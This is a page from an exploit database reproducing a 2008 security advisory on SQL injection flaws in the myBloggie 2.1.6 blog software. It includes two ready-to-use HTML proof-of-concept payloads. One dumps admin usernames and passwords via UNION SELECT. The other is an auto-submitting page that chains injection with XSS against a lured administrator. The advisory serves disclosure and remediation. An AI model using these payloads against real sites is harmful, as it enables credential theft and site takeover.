0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
myBloggie 2.1.6 Multiple Remote SQL Injection Vulnerabilities
[============================================================= myBloggie 2.1.6 Multiple Remote SQL Injection Vulnerabilities ============================================================= netVigilance Security Advisory #40 myBloggie version 2.1.6 Multiple SQL Injection Vulnerability Description: myBloggie (http://mywebland.com/mybloggie/) is considered one of the most simple, user-friendliest yet packed with features Weblog system available to date. Built using PHP & mySQL, web most popular scripting language & database system enable myBloggie to be installed in any webservers. A security problem in the product allows attackers to commit SQL injection. External References: Mitre CVE: CVE-2007-1899 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1899 NVD NIST: CVE-2007-1899 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1899 OSVDB: Summary: myBloggie is weblog system built using PHP & mySQL, the webs most popular scripting language & database system which enable myBloggie to be installed in any webserver. Successful exploitation requires PHP magic_quotes_gpc set to Off and register_globals set to “Onâ€. Advisory URL: http://www.netvigilance.com/advisory0040 Release Date: June 30th 2008 Severity/Risk: Medium CVSS 2.0 Metrics Access Vector: Network Access Complexity: High Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial CVSS 2.0 Base Score: 5.1 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: SQL Injection. SecureScout Testcase ID: TC 17969 Vulnerable Systems: myBloggie version 2.1.6 Vulnerability Type: SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator’s privileges. Vendor: myWebland (http://mywebland.com/) Vendor Status: The Vendor has been notified April 9th 2007, but did not respond. Workaround: In the php.ini file set magic_quotes_gpc = On and/or register_globals=Off Example: SQL Injection Vulnerability 1: Create html file with the next content: <html> <body> <form action="http://[TARGET]/[MYBLOGGIE-DIRECTORY]/index.php?mode=viewuser" method="POST"> <input type="submit" name="user_id" value="1 #' UNION SELECT CONCAT(`mb_user`.`user`,' -> ',`mb_user`.`password`),1,1,1,1,1,1,1,1,1 FROM `mb_user` /*"> </form> </body> </html> REQUEST: Browse this file and click on the button REPLY: <tr><td colspan="3" class="spacer6"></td></tr> <tr><td></td><td></td><td align="right"> <span class="f10pxgrey">Category : <a class="std" href="?mode=viewcat&cat_id=1"> [SQL INJECTION RESULT - ADMIN NAME] -> [SQL INJECTION RESULT - ADMIN PASSWORD]</a> Posted By : <b>1</b> | <img src="./templates/aura/images/comment.gif" alt="" /> <a class="std" href="?mode=viewid&post_id=1">Comments</a>[1] | <img src="./templates/aura/images/trackback.gif" /> SQL Injection Vulnerability 2: (SQL Injection + XSS Attack Vulnerability) Create html file with the next content and place it for example on http://somedomain.com/file.html: <html> <body onLoad="document.forms(0).submit();"> <form action=" http://[TARGET]/[MYBLOGGIE-DIRECTORY]/admin.php?mode=edit" method="POST"> <input type="hidden" name="post_id" value="-1' UNION SELECT 1,2, CONCAT(`mb_user`.`user`,' -> ', `mb_user`.`password`), '</textarea><script>alert(document.post.subject.value)</script>', 5,6,7 FROM `mb_user`#"> </form> </body> </html> REQUEST: Induce a Mybloggie admin to browse the malicious page. http:// somedomain.com/file.html REPLY: Page containing username and password for Mybloggie admin account. # 0day.today [2024-11-16] #